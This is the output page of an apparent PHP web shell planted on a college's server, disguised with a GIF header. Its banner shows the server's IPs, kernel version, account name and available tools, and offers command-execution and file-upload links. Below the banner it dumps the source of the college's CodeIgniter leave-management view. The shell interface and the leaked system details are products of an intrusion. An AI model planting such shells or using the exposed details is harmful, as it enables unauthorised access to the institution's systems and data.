GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.144.235.138
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/views/admin/leave/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/views/admin/leave/myLeaves.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>My Leave Request : <?php echo stripslashes($this->session->userdata("adminData")["first_name"]) . " " . stripslashes($this->session->userdata("adminData")["last_name"]); ?> | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/buttons.dataTables.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/dataTables.buttons.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jszip.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/pdfmake.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/vfs_fonts.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.print.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.html5.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Leave Management</li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Leave/myLeaves"); ?>">My Leaves</a></li>
                        </ol>
                    </nav>

                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title"><i class="fa fa-calendar-times-o"></i> My Leaves</h3><br>
                            <div class="table-responsive">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success alert-dismissible fade show"> 
                                        <strong><?php echo $this->session->flashdata('successMessage'); ?></strong> 
                                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                            <span aria-hidden="true">&times;</span>
                                        </button>
                                    </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger alert-dismissible fade show"> 
                                        <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> 
                                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                                            <span aria-hidden="true">&times;</span>
                                        </button>
                                    </div>
                                <?php } ?>
                                <fieldset>
                                    <legend>Filters <i class="fa fa-filter"></i></legend>
                                    <?php echo form_open(site_url('admin/Leave/myLeaves'), ['name' => 'myLeavesReport', 'id' => 'myLeavesReport']); ?>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="appliedForSession" class="input__label">For Session</label>
                                            <select id="appliedForSession" name="appliedForSession" class="custom-select">
                                                <option value="" <?php echo set_select("appliedForSession", ""); ?>>All</option>
                                                <?php foreach ($sessions as $session) { ?>
                                                    <option value="<?php echo $session->session_id; ?>" <?php echo set_select("appliedForSession", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="leaveType" class="input__label">Leave Type</label>
                                            <select id="leaveType" name="leaveType" class="custom-select">
                                                <option value="" <?php echo set_select("leaveType", ""); ?>>All</option>
                                                <?php foreach ($leaveTypes as $leaveType) { ?>
                                                    <option value="<?php echo $leaveType->tltm_id; ?>" <?php echo set_select("leaveType", $leaveType->tltm_id); ?>><?php echo stripslashes($leaveType->tltm_name) . "(" . stripslashes($leaveType->tltm_short_name) . ")"; ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="leaveStatus" class="input__label">Status</label>
                                            <select id="leaveStatus" name="leaveStatus" class="custom-select">
                                                <option value="" <?php echo set_select("schDeleteStatus", ""); ?>>All</option>
                                                <option value="A" <?php echo set_select("schDeleteStatus", "A"); ?>>Approved</option>
                                                <option value="P" <?php echo set_select("schDeleteStatus", "P"); ?>>Pending</option>
                                                <option value="CU" <?php echo set_select("schDeleteStatus", "CU"); ?>>Cancelled By You</option>
                                                <option value="C" <?php echo set_select("schDeleteStatus", "C"); ?>>Rejected By Approval Authority</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="startDate" class="input__label">Start Date</label>
                                            <input type="text" class="form-control" id="startDate" name="startDate" value="<?php echo set_value('startDate'); ?>" placeholder="Choose Start Date" autocomplete="off" maxlength="15">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="endDate" class="input__label">End Date</label>
                                            <input type="text" class="form-control" id="endDate" name="endDate" value="<?php echo set_value('endDate'); ?>" placeholder="Choose End Date" autocomplete="off" maxlength="15">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="dateRangeAppliedWith" class="input__label">Apply Date Range With</label>
                                            <select id="dateRangeAppliedWith" name="dateRangeAppliedWith" class="custom-select">
                                                <option value="LDR" <?php echo set_select("dateRangeAppliedWith", "LDR") ?>>Leave Dates</option>
                                                <option value="ADR" <?php echo set_select("dateRangeAppliedWith", "ADR") ?>>Apply Date</option>
                                                <option value="APR" <?php echo set_select("dateRangeAppliedWith", "APR") ?>>Approve Dates</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="col-md-12">
                                            <label for="filterSubmitBtn" class="input__label"></label>
                                            <button id="filterSubmitBtn" name="filterSubmitBtn" type="submit" class="btn btn-sm btn-warning pull-right">Apply&nbsp;<i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
                                        </div>
                                    </div>
                                    <?php echo form_close(); ?>
                                    <hr>
                                </fieldset>
                                <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/Leave/applyLeave"); ?>'" tooltip="Submit Leave Request"><i class="fa fa-calendar-minus-o"></i> Submit Leave Request</button><br><br>
                                <table id="myLeaves" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                    <thead>
                                        <tr>
                                            <th>Sr. No.</th>
                                            <th>From</th>
                                            <th>To</th>
                                            <th>No. Of Days</th>
                                            <th>Leave Type</th>
                                            <th>Duration</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Sr. No.</th>
                                            <th>From</th>
                                            <th>To</th>
                                            <th>No. Of Days</th>
                                            <th>Leave Type</th>
                                            <th>Duration</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
                                        for ($i = 0; $i < sizeof($filteredRecords); $i++) {
                                            $record = $filteredRecords[$i];
                                            ?>
                                            <tr>
                                                <td><?php echo ($i + 1); ?></td>
                                                <td><?php echo date("d-m-Y", strtotime($record->slm_from)); ?></td>
                                                <td><?php echo date("d-m-Y", strtotime($record->slm_to)); ?></td>
                                                <td><?php echo $record->slm_no_of_days; ?></td>
                                                <td><?php echo stripslashes($record->tltm_name) . "(" . $record->tltm_short_name . ")"; ?></td>
                                                <td><?php echo stripslashes($record->slm_duration); ?></td>
                                                <td>
                                                    <?php
                                                    if ($record->slm_status == "P") {
                                                        echo "<a href='javascript:void(0);' class='badge badge-warning'>&nbsp;Pending&nbsp;<i class='fa fa-clock-o'></i></a>";
                                                    } else if ($record->slm_status == "CU") {
                                                        echo "<a href='javascript:void(0);' class='badge badge-primary'>&nbsp;Deleted&nbsp;<i class='fa fa-trash-o'></i></a>";
                                                    } else if ($record->slm_status == "C") {
                                                        echo "<a href='javascript:void(0);' class='badge badge-danger'>&nbsp;Rejected&nbsp;<i class='fa fa-times'></i></a>";
                                                    } else {
                                                        echo "<a href='javascript:void(0);' class='badge badge-success'>&nbsp;Approved&nbsp;<i class='fa fa-check-square'></i></a>";
                                                    }
                                                    ?>
                                                </td>
                                                <td>
                                                    <?php if (!($record->slm_status == "C" || $record->slm_status == "A" || $record->slm_status == "CU")) { ?>
                                                        <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete/Cancel This Leave Request" onClick="deleteLeaveRequest(<?php echo $record->slm_id; ?>);"></i> 
                                                        <?php
                                                    }
                                                    ?>
                                                    <i class="fa fa-info-circle" style="color:#002166;cursor: pointer;" title="More Info About This Leave Request" onClick="getLeaveRequestInfo(<?php echo $record->slm_id; ?>);"></i> 
                                                </td>
                                            </tr>
                                        <?php } ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $(function () {
                var dateFormat = "dd/mm/yy",
                        from = $("#startDate")
                        .datepicker({
                            dateFormat: dateFormat,
                            defaultDate: '0',
                            changeMonth: true,
                            changeYear: true,
                            numberOfMonths: 1
                        })
                        .on("change", function () {
                            to.datepicker("option", "minDate", getDate(this));
                        }),
                        to = $("#endDate").datepicker({
                    dateFormat: dateFormat,
                    defaultDate: '0',
                    changeMonth: true,
                    changeYear: true,
                    numberOfMonths: 1
                })
                        .on("change", function () {
                            from.datepicker("option", "maxDate", getDate(this));
                        });

                function getDate(element) {
                    var date;
                    try {
                        date = $.datepicker.parseDate(dateFormat, element.value);
                    } catch (error) {
                        date = null;
                    }
                    return date;
                }
            });

            function deleteLeaveRequest(slm_id) {
                if (confirm("Do You Really Want To Delete This Leave Request? On Deleting, This Leave Request Will Not Be Forwaded To The Approving Authority. Click Ok To Continue & Cancel Otherwise.")) {
                    window.location.href = "<?php echo site_url('admin/Leave/deleteLeaveRequest/') ?>" + slm_id;
                }
            }

            function getLeaveRequestInfo(slm_id) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('admin/Leave/getLeaveRequestFullInfo/'); ?>',
                    data: {slm_id: slm_id, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        $(".se-pre-con").fadeOut("slow");
                        var thisLeaveRequestInfo = JSON.parse(result);
                        csrfHash = thisLeaveRequestInfo.csrfHash;
                        myLeavesReport.csrf_token.value = csrfHash;
                        $("#emp_code").html(thisLeaveRequestInfo.emp_code);
                        $("#requested_by").html(thisLeaveRequestInfo.requested_by);
                        $("#requested_on").html(thisLeaveRequestInfo.slm_added_on);
                        $("#dept").html(thisLeaveRequestInfo.department);
                        $("#sub_dept").html(thisLeaveRequestInfo.sub_department);
                        $("#dept").html(thisLeaveRequestInfo.department);
                        $("#designation").html(thisLeaveRequestInfo.designation);
                        $("#desig_cat").html(thisLeaveRequestInfo.sub_department);
                        $("#leave_from").html(thisLeaveRequestInfo.slm_from);
                        $("#leave_to").html(thisLeaveRequestInfo.slm_to);
                        $("#no_of_days").html(thisLeaveRequestInfo.slm_no_of_days);
                        $("#leave_duration").html(thisLeaveRequestInfo.slm_duration);
                        $("#leave_description").html(thisLeaveRequestInfo.slm_description);
                        $("#updated_on").html(thisLeaveRequestInfo.slm_updated_on);
                        $("#is_admin_action_taken").html(thisLeaveRequestInfo.is_admin_action_taken);
                        $("#leave_status").html(thisLeaveRequestInfo.slm_status);
                        $("#action_by").html(thisLeaveRequestInfo.slm_admin_updated_by);
                        $("#action_on").html(thisLeaveRequestInfo.slm_admin_update_on);
                        $("#action_remarks").html(thisLeaveRequestInfo.slm_admin_remarks);
                        $("#leaveDetailsModal").modal('show');
                    }
                });
            }

            $(document).ready(function () {
                var selectedSession = '<?php echo $selectedSession; ?>';
                if (selectedSession !== "") {
                    $("#appliedForSession").val(selectedSession);
                }

                $("#myLeaves").DataTable({responsive: true, dom: 'Blfrtip', buttons: [
                        {extend: 'copy', text: "<i class='fa fa-clipboard'></i> Copy"},
                        {extend: 'csv', text: "<i class='fa fa-table'></i> CSV"},
                        {extend: 'excel', text: "<i class='fa fa-file-excel-o'></i> Excel"},
                        {extend: 'pdfHtml5', text: "<i class='fa fa-file-pdf-o'></i> PDF", orientation: 'portrait', pageSize: 'LEGAL'}
                    ]});
            });

            function printLeaveRequest() {
                var divToPrint = document.getElementById("leaveWithEmployeeDetail").innerHTML;
                document.body.innerHTML = divToPrint;
                window.print();
                location.reload();
            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
        <!-- Leave Request Details Modal Starts -->
        <div class="modal fade" id="leaveDetailsModal" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">Applied Leave Request Info | <a href="#" onClick="printLeaveRequest();" title="Print This Stock Information"><i class="fa fa-print"></i></a></h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div id="leaveWithEmployeeDetail" class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <div class="row">
                            <div class="col-sm-12">
                                <center>
                                    <img src="<?php echo base_url('assets/admin/images/smsheadernew.jpg'); ?>" width="95%" height="100" style="margin-top:4%"><br>
                                    <h5><b><u>Leave Request</u></b></h5>
                                </center>
                            </div>
                        </div><br>
                        <div class="row">
                            <div class="col-sm-3"><b>From</b></div>
                            <div class="col-sm-3"><span id="leave_from"></span></div>
                            <div class="col-sm-3"><b>To</b></div>
                            <div class="col-sm-3"><span id="leave_to"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>No. Of Days</b></div>
                            <div class="col-sm-3"><span id="no_of_days"></span></div>
                            <div class="col-sm-3"><b>Duration</b></div>
                            <div class="col-sm-3"><span id="leave_duration"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Description</b></div>
                            <div class="col-sm-9"><span id="leave_description"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Last Updated On</b></div>
                            <div class="col-sm-9"><span id="updated_on"></span></div>
                        </div>
                        <hr style="border-top: 1px solid black;">
                        <div class="row">
                            <div class="col-sm-1"><b>Emp. Code</b></div>
                            <div class="col-sm-2"><span id="emp_code"></span></div>
                            <div class="col-sm-2"><b>Requested By</b></div>
                            <div class="col-sm-3"><span id="requested_by"></span></div>
                            <div class="col-sm-2"><b>Requested On</b></div>
                            <div class="col-sm-2"><span id="requested_on"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Department</b></div>
                            <div class="col-sm-3"><span id="dept"></span></div>
                            <div class="col-sm-3"><b>Sub-Department</b></div>
                            <div class="col-sm-3"><span id="sub_dept"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Desig. Category</b></div>
                            <div class="col-sm-3"><span id="desig_cat"></span></div>
                            <div class="col-sm-3"><b>Designation</b></div>
                            <div class="col-sm-3"><span id="designation"></span></div>
                        </div>
                        <hr style="border-top: 1px solid black;">
                        <div class="row">
                            <div class="col-sm-3"><b>Admin Action Taken</b></div>
                            <div class="col-sm-3"><span id="is_admin_action_taken"></span></div>
                            <div class="col-sm-3"><b>Current Status</b></div>
                            <div class="col-sm-3"><span id="leave_status"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Approved/Rejected By</b></div>
                            <div class="col-sm-3"><span id="action_by"></span></div>
                            <div class="col-sm-3"><b>Action Taken On</b></div>
                            <div class="col-sm-3"><span id="action_on"></span></div>
                        </div>
                        <div class="row">
                            <div class="col-sm-3"><b>Remarks</b></div>
                            <div class="col-sm-9"><span id="action_remarks"></span></div>
                        </div>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- Leave Request Details Modal Ends -->
    </body>
</html>

KBHT - 2023